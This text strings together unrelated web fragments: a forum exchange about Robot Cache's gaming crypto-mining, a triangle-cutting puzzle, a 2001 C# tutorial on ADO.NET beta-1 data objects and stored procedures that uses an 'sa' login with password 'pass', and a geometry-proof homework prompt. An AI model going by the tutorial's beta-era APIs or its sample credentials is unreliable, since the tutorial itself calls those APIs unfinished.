Problem is, the gamers aren't making money. They're getting a digital currency that is essentially worthless, while Robot Cache keeps whatever is actually mined..... If things go in Robot Cache's favor, gamers/miners get bigger electric bills and Robot Cache gets deeper pockets.....but gamers/miners are never actually reimbursed for the associated cost...
19. vbetts
vbetts Don Vincenzo Staff Member
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15,143
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GTX 1080 Ti
More or less it's a risk for reward type of situation, in this case reward not being any actual money made unless you're able to sell your games you earned by the risk being using your computer to do the hard work. Honestly, if you're comfortable with the strain on your computer or you even have just a spare little system you don't care much about to earn the currency it's not a horrible deal. You're adding to your electric bill, but this isn't going to tip the scale for your electric bill.
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Problem of the Day
A new programming or logic puzzle every Mon-Fri
Acute Square
You want a paper and pencil for this one. Given a square, cut it up so that it is made up of only acute triangles and contains the same area as the original square. What are the fewest number of triangles required to meet this criteria?
Permalink: http://problemotd.com/problem/acute-square/
Comments:
Content curated by @MaxBurstein
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ARTICLE
SQL Programming using .NET
Posted by TimothyA Vanover Articles | ADO.NET in C# February 01, 2001
This program shows several data objects, some draw backs of each and some interesting things.
Reader Level:
Download Files:
The StoredProc.exe program can be used to show several different data objects, some draw backs of each and some interesting things, which are not currently working in the beta 1 release quite the way that may be expected. This document will give a high level overview of the objects used.
To run the program you must have access to a SQL Server. I am using SQL Server 2000, but feel that this can be used just as easily on 6.5 or 7.0.
In the Framework all data access components are derived from the System.Data object. These include System.Data.ADO and System.Data.SQL. There are several similarities in these as well as differences that need explained.
System.Data.ADO can be used to connect and manipulate data from multiple data sources, including Access, Oracle, SQL Sever, etc. This library has a connection object that can establish connections to a data source through an OLE DB provider. A connection string might appear as follows:
Provider=sqloledb;Initial Catalog=pubs;Data Source=Dev;Uid=sa;Pwd=pass"
As you can see the Provider is the OLE DB provider for connecting to a SQL Sever. The database selected is pubs. The SQL Sever name in this instance is Developer. The Uid is the Login name, and the Pwd is the password for the login.
This allows generic loosely coupled objects to be reused in making connections and manipulating data to multiple diverse data sources.
System.Data.SQL can only be used to connect and manipulate SQL Server databases. The Provider in the connection string must be omitted as this is encapsulated inside the SQLConnection object. A connection string using this object would appear as follows:
Initial Catalog=pubs;Data Source=Dev;Uid=sa;Pwd=pass
The SQL library has been optimized for connections with SQL Server to help with scalability. This is a key issue in many enterprise developments where connections to a database server are an expensive resource. For example to maintain an n-tier projects connections we would not want thousands of connections to the SQL Server all at once. This would take resources and eventually crash the server. The ideal situation is to have a pool of connections that can be reused by multiple clients to connect, make data manipulation, and then exit the connection. At the very least we want to maintain statelessness to our client application so that the resources are not drained. This would also mean that we would not want opened and orphaned connections existing on the server.
The Profiler is a tool that is installed with SQL Server and allows a wide variety of performance conditions to be examined so that issues can be resolved that may occur.
Information is gathered with a trace set up to monitor the connections to the server created in the Profiler. Below is an example of a stateless connection where data is being retrieved from the database using the System.Data.SQL library. This call comes from the List button on the StoredProcs.exe program.
dbsqln1.jpg
As you can see by the first and third rows there is a Login, Execution, and a Logout with the trace. Also the duration column shows a value of 130. In the actual program we have made an adhoc query to select the user stored procedures metadata contained in the pubs database sysobjects system table. The actual method call is as follows:
public SQLDataReader SelectProcs(ref SQLConnection cnn)
{
SQLDataReader dr =
null;
string query = "SELECT Name FROM sysobjects WHERE xtype = 'P' And Category = 0";
SQLCommand cmd =
new SQLCommand(query,cnn);
try
{
cmd.CommandType = CommandType.Text;
cmd.Execute(
out dr);
}
catch(Exception e)
{
ErrorLog errLog =
new ErrorLog();
errLog.LogError(e.Message, "Method: SelectProcs");
}
return(dr);
The actual connection object is being maintained by the calling method and the data is being returned to the caller. This data is then added to the list box by walking through and reading the data into the list box. An alternative to this could also be binding the results of this query to the list box. The actual screen will now display the stored procedures defined as a type of user as follows.
dbsqln2.jpg
To view the parameters of one of the stored procedures select one from the list box and click the View button. For this example Ill use the usp_AuthorCol stored procedure. You will notice that the top data grid is now populated with metadata about the stored procedure.
dbsqln3.jpg
The index column is the ADOCommand.Parameters index value for the parameter listed. The name is the actual name of the parameter. The Type is the actual data type mapped to the Framework data types. The length is a length of the data type. If this had been a string, or for example in SQL a varchar or char, this value would determine the length of the parameter value. The value column is the actual value.
You can select to execute the stored procedure and the bottom grid will be populated with a dataset of the return value. If you have selected an insert, update, or delete stored procedure and have entered a value for the where clause then you can enter a value in the value field and the execute button for executing the stored procedure. You can select the option button to indicate a return value from a select statement or other, which is for insert, update, or delete statements.
dbsqln4.jpg
The actual code is simplistic in that it does a parameters-refresh to get the parameters of the stored procedure, and loads them into a data grid so that you can edit the values to send for testing a stored procedure.
Several other points should be made.
1. The SQLCommand object has a Parameters object, which will not do a Parameters ResetParameters, even though the method is there. I assume that this may be fixed in a future version, as this is a popular method for development and the System.Data.SQL object is tuned for SQL Server.
2. Connections need to be closed with something like the following.
if
(cnn.State == DBObjectState.Open)
{
cnn.Close();
cnn.Dispose();
}
3. Run the Authors.sql sql script to install the usp_Author queries in the pubs database and step through the code. It would also be wise to learn to use the profiler to monitor the connections, and other items that will affect both your queries and your application.
4. From the testing I have seen there are several items that should be improved when Beta2 is released in the ADOConenction as well. This object or the sqloledb provider has a tendency to keep the connection open until the program is closed even with the close code above.
Another tool at your disposal, if you are running NT, or Windows 2000 is the event log. This can help you debug your application and find areas where a problem has occurred during the program operation. On the catch methods there is a class, which I have used to encapsulate the writing of data to the event log. You can actually create your own logs for an application or use the one that is present. The EventLog object should be played with as we are now given immense power easily, which required some API calls to do some of what is now as easy as the following code. There are some good examples in the HowTo of the SDK for doing much more than I needed for this project.
internal class ErrorLog
{
/// <summary>
/// This method writes to the application log
/// </summary>
/// <param name="errMessage"> </param>
/// <param name="errSource"> </param>
public void LogError(string errMessage, string errSource)
{
EventLog errLog =
new System.Diagnostics.EventLog("Application",".",errSource);
errLog.WriteEntry(errMessage, EventLogEntryType.Error);
}
Hope this helps you get some understanding on SQL with .Net.
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The Triangle Proportionality Theorem using a flow proof
1. Prove the Triangle Proportionality Theorem using a flow proof, paragraph or two-column proof.
If a line is parallel to one side of a triangle and also intersects the other two sides, the line divides the sides
proportionally.
1. State and Prove the Converse of the Triangle Proportionality Theorem
using a flow proof, paragraph or two-column proof.
1. Prove the Pythagorean Theorem with Similar Triangles using a two-column proof.
2. State and prove the Converse of the Pythagorean Theorem using a two-column proof.
3. Choose 1 of these 4 proofs and create a video presentation explaining the proof step by step. (You can write down what I should say)
Sample Solution
ACED ESSAYS
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